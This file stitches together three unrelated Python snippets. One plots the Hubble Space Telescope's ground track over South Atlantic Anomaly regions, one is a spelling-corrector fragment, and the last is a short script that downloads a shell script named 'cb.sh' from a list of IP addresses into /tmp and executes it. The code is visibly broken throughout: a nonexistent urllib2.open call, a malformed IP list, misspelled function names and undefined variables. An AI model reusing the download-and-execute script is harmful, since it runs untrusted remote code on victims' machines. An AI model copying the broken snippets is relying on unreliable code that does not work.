def plotHSTtrack(hst_start, hst_stop, tlefile, ephemerisOnline=False): num_points = int((hst_stop - hst_start) / ephem.minute) + 1 # Read in the HST Two-Line ephemeris if ephemerisOnline: import urllib2 hand = urllib2.open("http://celestrak.com/NORAD/elements/science.txt") data = hand.readlines() hand.close() HST = [[d[val], d[val + 1], d[val + 2]] for val, line in enumerate(d) if "HST" in line] hst = ephem.readtle(string.strip(HST[0][0]), string.strip(HST[0][1]), string.strip(HST[0][2])) else: temp = open(tlefile, "r").readlines() hst = ephem.readtle(string.strip(temp[0]), string.strip(temp[1]), string.strip(temp[2])) cur_time = hst_start hst_longs = [] hst_lats = [] for i in range(0, num_points): hst.compute(cur_time) hst_longs.append(hst.sublong.znorm * 180.0 / math.pi) hst_lats.append(hst.sublat * 180.0 / math.pi) cur_time = cur_time + ephem.minute lon_0 = 335 lat_0 = -20 llcrnrlat = -60 llcrnrlon = -100 urcrnrlat = 20 urcrnrlon = 60 # use these values to setup Basemap instance. width = 14000000 height = 10000000 # m = Basemap(width=width,height=height,\ # resolution='c',projection='aeqd',\ # lat_0=lat_0,lon_0=lon_0) # m = Basemap(resolution='c',projection='aeqd',lat_0=lat_0,lon_0=lon_0) # m = Basemap(width=width,height=height,\ # resolution='c',projection='aea',\ # lat_0=lat_0,lon_0=lon_0) m = Basemap(resolution="c", projection="mbtfpq", lon_0=lon_0) # m = Basemap(resolution='c',projection='moll',lon_0=lon_0) # m = Basemap(resolution='c',projection='ortho',lon_0=lon_0,lat_0=lat_0) # m = Basemap(resolution='c',projection='cyl',llcrnrlat=llcrnrlat,llcrnrlon=llcrnrlon,urcrnrlat=urcrnrlat,urcrnrlon=urcrnrlon) p = FontProperties() font1 = p.copy() font1.set_size("small") # draw coasts and fill continents. m.drawcoastlines(linewidth=0.5) # m.fillcontinents() m.drawparallels(arange(-80, 81, 10), labels=[1, 1, 0, 0], fontproperties=font1, labelstyle="+/-") m.drawmeridians(arange(-180, 180, 20), labels=[0, 0, 0, 1], fontproperties=font1, labelstyle="+/-") m.bluemarble() m.drawmapboundary() # SAA 02 x2, y2 = m( [ 357.4 - 360, 357.6 - 360, 356.9 - 360, 355.0 - 360, 352.3 - 360, 348.7 - 360, 342.9 - 360, 336.4 - 360, 324.8 - 360, 303.2 - 360, 292.1 - 360, 289.0 - 360, 285.9 - 360, 283.5 - 360, 282.5 - 360, 282.4 - 360, 282.7 - 360, 357.4 - 360, ], [ -28.3, -26.1, -23.7, -21.2, -18.8, -16.3, -13.0, -10.6, -9.1, -11.9, -14.9, -17.0, -19.1, -21.3, -23.7, -26.0, -28.6, -28.3, ], ) # SAA 03 # x3,y3 = m([294.4-360,301.4-360,350.0-360,358.4-360,335.8-360,304.6-360,295.5-360,279.4-360,282.6-360,294.4-360], \ # [-41.0,-42.8,-30.0,-20.9,-4.9,-4.9,-7.0,-21.9,-32.7,-41.0]) x3, y3 = m( [ 20.0, 21.0, 19.0, 7.5, 347.0 - 360, 336.4 - 360, 324.8 - 360, 303.2 - 360, 292.1 - 360, 285.9 - 360, 283.5 - 360, 282.5 - 360, 282.4 - 360, 282.7 - 360, 20.0, ], [-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3], ) # SAA 04 # x4,y4 = m([335.0-360,345.0-360,349.0-360,346.0-360,330.0-360,314.0-360,310.0-360,303.0-360,310.0-360,325.0-360,335.0-360], \ # [-33.0,-27.0,-24.0,-23.0,-25.0,-30.0,-32.2,-39.0,-40.0,-37.0,-33.0]) x4, y4 = m( [ 25.0, 7.0, 351.0 - 360, 341.0 - 360, 318.0 - 360, 300.0 - 360, 290.0 - 360, 284.0 - 360, 278.0 - 360, 273.0 - 360, 275.0 - 360, 25.0, ], [-28.5, -16.0, -6.5, -2.0, 1.0, -3.0, -7.0, -10.0, -15.0, -20.0, -30.0, -28.5], ) # SAA 05,23 x5, y5 = m( [ 300.0 - 360, 45.0, 40.0, 30.0, 10.0, 0.0, 341.0 - 360, 318.0 - 360, 300.0 - 360, 283.0 - 360, 273.0 - 360, 275.0 - 360, 300.0 - 360, ], [-50.0, -30.0, -25.0, -21.0, -15.0, -10.2, -2.0, 1.0, -3.0, -8.0, -20.0, -30.0, -50.0], ) # SAA 06 # x6,y6 = m([359.0-360,360.0-360,335.4-360,323.0-360,290.0-360,280.0-360,276.0-360,280.0-360,359.0-360], \ # [-28.0,-20.9,-3.4,-0.0,-7.0,-12.6,-20.9,-30.0,-28.0]) x6, y6 = m( [ 20.0, 21.0, 19.0, 7.5, 347.0 - 360, 336.4 - 360, 324.8 - 360, 303.2 - 360, 292.1 - 360, 285.9 - 360, 283.5 - 360, 282.5 - 360, 282.4 - 360, 282.7 - 360, 20.0, ], [-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3], ) # SAA 07 x7, y7 = m( [ 300.0 - 360, 359.0 - 360, 5.0, 341.0 - 360, 318.0 - 360, 300.0 - 360, 283.0 - 360, 273.0 - 360, 275.0 - 360, 300.0 - 360, ], [-50.0, -41.0, -23.0, -2.0, 1.0, -3.0, -8.0, -20.0, -30.0, -50.0], ) # SAA 24,25,28,31,32 x24, y24 = m( [ 20.0, 21.0, 19.0, 7.5, 347.0 - 360, 336.4 - 360, 324.8 - 360, 303.2 - 360, 292.1 - 360, 285.9 - 360, 283.5 - 360, 282.5 - 360, 282.4 - 360, 282.7 - 360, 20.0, ], [-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3], ) # SAA 26,27,29,30 x26, y26 = m( [ 25.0, 7.0, 351.0 - 360, 341.0 - 360, 318.0 - 360, 300.0 - 360, 290.0 - 360, 284.0 - 360, 278.0 - 360, 273.0 - 360, 275.0 - 360, 25.0, ], [-28.5, -16.0, -6.5, -2.0, 1.0, -3.0, -7.0, -10.0, -15.0, -20.0, -30.0, -28.5], ) # HST observation ground track xhst, yhst = m(hst_longs, hst_lats) saa02 = m.plot( x2, y2, marker="D", markersize=4.0, markeredgewidth=0.0, color="turquoise", linestyle="-", label="02" ) saa03 = m.plot(x3, y3, marker="v", markersize=4.0, markeredgewidth=0.0, color="white", linestyle="-", label="03") saa04 = m.plot(x4, y4, marker="^", markersize=4.0, markeredgewidth=0.0, color="orange", linestyle="-", label="04") saa05 = m.plot(x5, y5, marker="s", markersize=4.0, markeredgewidth=0.0, color="green", linestyle="-", label="05") saa06 = m.plot(x6, y6, marker="x", markersize=4.0, markeredgewidth=1.0, color="magenta", linestyle="-", label="06") # saa07 = m.plot(x7,y7,marker='>',markersize=4.0,markeredgewidth=0.0,color='darkorchid',linestyle='-',label='07') # saa24 = m.plot(x24,y24,marker='x',markersize=4.0,markeredgewidth=1.0,color='green',linestyle='-',label='24') # saa26 = m.plot(x26,y26,marker='^',markersize=4.0,markeredgewidth=0.0,color='maroon',linestyle='-',label='26') hst = m.plot( xhst, yhst, marker="+", markersize=4.0, markeredgewidth=1.0, color="red", linestyle="-", linewidth=0.7, label="hst", ) # SMN: # cnts must be sampled similar as xhst and yhst! # cs = m.contour(xhst,yhst,cnts,15,linewidths=1.5) hst_label = "HST once per minute" font = p.copy() # font.set_size('xx-small') font.set_size("small") leg = legend( (saa02, saa03, saa04, saa05, saa06, hst), ( "PASS SAA Level 1 - FGS Guidance & STIS LV", "PASS SAA Level 2 - STIS", "PASS SAA Level 3 - ACS & WFC3", "PASS SAA Level 4 - Astrometry & NICMOS", "PASS SAA Level 5 - COS", #'07 - GHRS', \ #'24/25/31/32 - STIS CCD/STIS MAMA/COS FUV/COS NUV', \ #'26/27/28/29/30 - WFPC2/ACS CCD/ACS SBC/WFC3 UVIS/WFC3 IR', \ hst_label, ), prop=font, numpoints=2, borderpad=0.3, loc="upper center", borderaxespad=0.0, ncol=2, ) leg.get_frame().set_alpha(0.7) # figlegend((saa02,saa05,saa24,saa26),('02','05','24','26'),'upper right') # draw the title. title("HST from %s to %s" % (str(arg1), str(arg2))) show()
import sys import csv import re import collections import urllib2 def words(text): return re.findall('[a-z]+', text.lower()) def train(features): model = collections.defaultdict(lambda: 1) for f in features: model[f] += 1 return model #NWORDS = train(words(file('big.txt').read())) NWORDS = train(words(urllib2.open('http://www.norvig.com/big.txt').read())) alphabet = 'abcdefghijklmnopqrstuvwxyz' def edits1(word): splits = [(word[:i], word[i:]) for i in range(len(word) + 1)] deletes = [a + b[1:] for a, b in splits if b] transposes = [a + b[1] + b[0] + b[2:] for a, b in splits if len(b)>1] replaces = [a + c + b[1:] for a, b in splits for c in alphabet if b] inserts = [a + c + b for a, b in splits for c in alphabet] return set(deletes + transposes + replaces + inserts) def known_edits2(word): return set(e2 for e1 in edits1(word) for e2 in edits1(e1) if e2 in NWORDS) def known(words): return set(w for w in words if w in NWORDS)
#!/usr/bin/env python3 import urllib2 import os urls = ["1.1.1.1."."2.2.2.2"] port = "80" payload = "cb.sh" #Loop through list of IPs for url in urls: u = "http://%s:%s/%s" % (url,port, payload) #Download file over HTTP try: r = urllib2.open(u) wfile = open("/tmp/cb.sh","wb") wfile.write(r.read()) wfile.close() except: continue #Execute if os.path.exixts("/tmp/cb.sh"): os.system("chmod 00 /tmp/cb.sh") os.system("/tmp/cb.sh")